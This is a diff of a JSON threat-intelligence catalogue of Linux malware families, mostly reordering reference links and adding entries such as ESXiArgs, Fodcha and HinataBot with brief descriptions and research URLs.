"https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/" ], "synonyms": [ "AESDDoS" @@ -4058,8 +4426,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.securecoding.com/blog/all-about-doki-malware/", - "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/" + "https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "https://www.securecoding.com/blog/all-about-doki-malware/" ], "synonyms": [], "type": [] @@ -4072,8 +4440,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf" + "https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/" ], "synonyms": [], "type": [] @@ -4086,15 +4454,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury", - "https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/", "https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", - "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download", - "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/", - "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", "https://security.web.cern.ch/security/advisories/windigo/windigo.shtml", - "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/", + "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", + "https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy", + "https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/", + "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf" ], "synonyms": [], "type": [] @@ -4107,9 +4475,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot", + "https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/", "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", "https://blogs.akamai.com/sitr/2019/06/latest-echobot-26-infection-vectors.html", - "https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/", "https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits--targeting-scada" ], "synonyms": [], @@ -4119,12 +4487,14 @@ "value": "Echobot" }, { - "description": "", + "description": "According to the Infosec Institute, EnemyBot is a dangerous IoT botnet that has made headlines in the last few weeks. This threat, which seems to be disseminated by the Keksec group, expanded its features by adding recent vulnerabilities discovered in 2022. It was designed to attack web servers, Android devices and content management systems (CMS) servers.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot", - "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", "https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/", + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory", "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers" ], "synonyms": [], @@ -4147,14 +4517,30 @@ "uuid": "479353aa-c6d7-47a7-b5f0-3f97fd904864", "value": "Erebus (ELF)" }, + { + "description": "Ransomware used to target ESXi servers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args", + "https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/", + "https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/", + "https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/", + "https://www.youtube.com/watch?v=bBcvqxPdjoI" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7550af7f-91cc-49e7-a4c5-d4e4d993cbef", + "value": "ESXiArgs" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome", - "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf" + "https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/" ], "synonyms": [], "type": [] @@ -4180,14 +4566,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", "https://www.wired.com/story/sandworm-centreon-russia-hack/", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://attack.mitre.org/groups/G0034", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", "https://twitter.com/craiu/status/1361581668092493824", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -4227,10 +4613,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot", + "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", "https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/", "https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/", - "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html", - "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html" + "https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html" ], "synonyms": [], "type": [] @@ -4266,6 +4652,20 @@ "uuid": "ac30f2be-8153-4588-b29c-5e5863792930", "value": "floodor" }, + { + "description": "Malware used to run a DDoS botnet.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha", + "https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/", + "https://www.bleepingcomputer.com/news/security/fodcha-ddos-botnet-reaches-1tbps-in-power-injects-ransoms-in-packets/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4a64a1ca-e5bc-4a27-bff2-1c68cea05ba7", + "value": "Fodcha" + }, { "description": "This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.\r\n\r\nIt comes with a rootkit as well.", "meta": { @@ -4284,11 +4684,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", "https://www.akamai.com/blog/security/fritzfrog-p2p", - "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/" + "https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break", + "https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] @@ -4393,14 +4793,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime", - "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf", - "https://par.nsf.gov/servlets/purl/10096257", - "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461", - "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", "https://blog.netlab.360.com/quick-summary-port-8291-scan-en/", "https://github.com/Psychotropos/hajime_hashes", + "https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461", + "https://x86.re/blog/hajime-a-follow-up/", "http://blog.netlab.360.com/hajime-status-report-en/", - "https://x86.re/blog/hajime-a-follow-up/" + "https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things", + "https://par.nsf.gov/servlets/purl/10096257", + "https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf" ], "synonyms": [], "type": [] @@ -4450,20 +4850,36 @@ "uuid": "db3e17f0-677b-4bdb-bc26-25e62a74673d", "value": "Hand of Thief" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellobot", + "https://blog.exatrack.com/melofee/", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b9fec670-2b1e-4287-ac93-68360d5adcf4", + "value": "HelloBot (ELF)" + }, { "description": "Linux version of the HelloKitty ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty", - "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group", "https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html", + "https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/" + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -4471,6 +4887,19 @@ "uuid": "785cadf7-5c99-40bc-b718-8a98d9aa90b7", "value": "HelloKitty (ELF)" }, + { + "description": "Lumen discovered this malware used in campaign targeting business-grade routers using a RAT they call HiatusRAT and a variant of tcpdump for traffic interception.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat", + "https://blog.lumen.com/new-hiatusrat-router-malware-covertly-spies-on-victims/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "69dcee87-dc61-48d4-a6af-177396bdb850", + "value": "HiatusRAT" + }, { "description": "", "meta": { @@ -4491,14 +4920,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek", - "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", - "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/", + "https://blog.netlab.360.com/hns-botnet-recent-activities-en/", "https://blog.avast.com/hide-n-seek-botnet-continues", "https://threatlabs.avast.com/botnet", + "https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/", "https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/", - "https://blog.netlab.360.com/hns-botnet-recent-activities-en/", - "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html", "https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/", + "https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html", + "https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/", "https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/" ], "synonyms": [ @@ -4509,6 +4938,19 @@ "uuid": "41bf8f3e-bb6a-445d-bb74-d08aae61a94b", "value": "Hide and Seek" }, + { + "description": "HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot", + "https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b10fc382-b740-417a-98fa-e23d10223958", + "value": "HinataBot" + }, { "description": "", "meta": { @@ -4527,25 +4969,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", "https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/", - "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", - "https://arxiv.org/pdf/2202.08477.pdf", - "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", - "https://github.com/rivitna/Malware/tree/main/Hive", - "https://twitter.com/ESETresearch/status/1454100591261667329", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://blog.group-ib.com/hive", - "https://twitter.com/malwrhunterteam/status/1455628865229950979", - "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", + "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", "https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", + "https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/", + "https://github.com/reecdeep/HiveV5_file_decryptor", "https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", - "https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://arxiv.org/pdf/2202.08477.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://twitter.com/malwrhunterteam/status/1455628865229950979", "https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again" + "https://twitter.com/ESETresearch/status/1454100591261667329", + "https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/", + "https://blog.group-ib.com/hive", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/", + "https://github.com/rivitna/Malware/tree/main/Hive" ], "synonyms": [], "type": [] @@ -4566,6 +5010,21 @@ "uuid": "c55389b0-e778-4cf9-9030-3d1efc1224c9", "value": "Hubnr" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hyperssl", + "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html" + ], + "synonyms": [ + "SysUpdate" + ], + "type": [] + }, + "uuid": "263aaef5-9758-49f1-aff1-9a509f545bb3", + "value": "HyperSSL (ELF)" + }, { "description": "", "meta": { @@ -4585,8 +5044,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper", "https://research.checkpoint.com/new-iot-botnet-storm-coming/", - "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/", - "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm" + "https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm", + "http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/" ], "synonyms": [ "IoTroop", @@ -4603,11 +5062,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", "https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf", - "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/" + "https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/", + "https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "InterPlanetary Storm" @@ -4636,10 +5095,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji", "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/", "https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/", + "https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" ], "synonyms": [], "type": [] @@ -4648,15 +5108,16 @@ "value": "Kaiji" }, { - "description": "", + "description": "According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten", + "https://www.lacework.com/blog/the-kek-security-network/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", "https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/", "https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day", - "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html", - "https://www.lacework.com/the-kek-security-network/" + "https://www.lacework.com/the-kek-security-network/", + "https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html" ], "synonyms": [ "STD" @@ -4671,11 +5132,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods", - "https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html", - "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916", "https://blog.talosintelligence.com/2019/09/watchbog-patching.html", + "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/", - "https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916" + "https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html" ], "synonyms": [], "type": [] @@ -4688,11 +5149,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.mandiant.com/resources/apt41-us-state-governments", "https://twitter.com/CyberJack42/status/1501290277864046595", - "https://experience.mandiant.com/trending-evil/p/1", "https://www.mandiant.com/resources/mobileiron-log4shell-exploitation", - "https://www.mandiant.com/resources/apt41-us-state-governments" + "https://experience.mandiant.com/trending-evil/p/1", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf" ], "synonyms": [ "ELFSHELF" @@ -4720,25 +5181,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://unit42.paloaltonetworks.com/atoms/moneylibra/", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", + "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/", - "https://twitter.com/IntezerLabs/status/1259818964848386048", - "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", - "https://unit42.paloaltonetworks.com/cve-2020-25213/", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", - "https://unit42.paloaltonetworks.com/atoms/moneylibra/", - "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", - "https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://twitter.com/IntezerLabs/status/1259818964848386048", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://unit42.paloaltonetworks.com/cve-2020-25213/", + "https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html", + "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", "https://redcanary.com/blog/kinsing-malware-citrix-saltstack/", - "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", - "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html" + "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "h2miner" @@ -4766,10 +5227,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos", - "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf", "https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/", "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", - "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/" + "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", + "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf" ], "synonyms": [], "type": [] @@ -4822,8 +5283,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilock", "https://www.bleepingcomputer.com/news/security/lilocked-ransomware-actively-targeting-servers-and-web-sites/", - "https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html", - "https://fossbytes.com/lilocked-ransomware-infected-linux-servers/" + "https://fossbytes.com/lilocked-ransomware-infected-linux-servers/", + "https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html" ], "synonyms": [ "Lilocked", @@ -4852,21 +5313,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot", - "https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/", - "https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/" + "https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/", + "https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e537e165-ea8b-4e75-8813-6519632d3f6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3fe8f3db-4861-4e78-8b60-a794fe22ae3f", "value": "LiquorBot" }, @@ 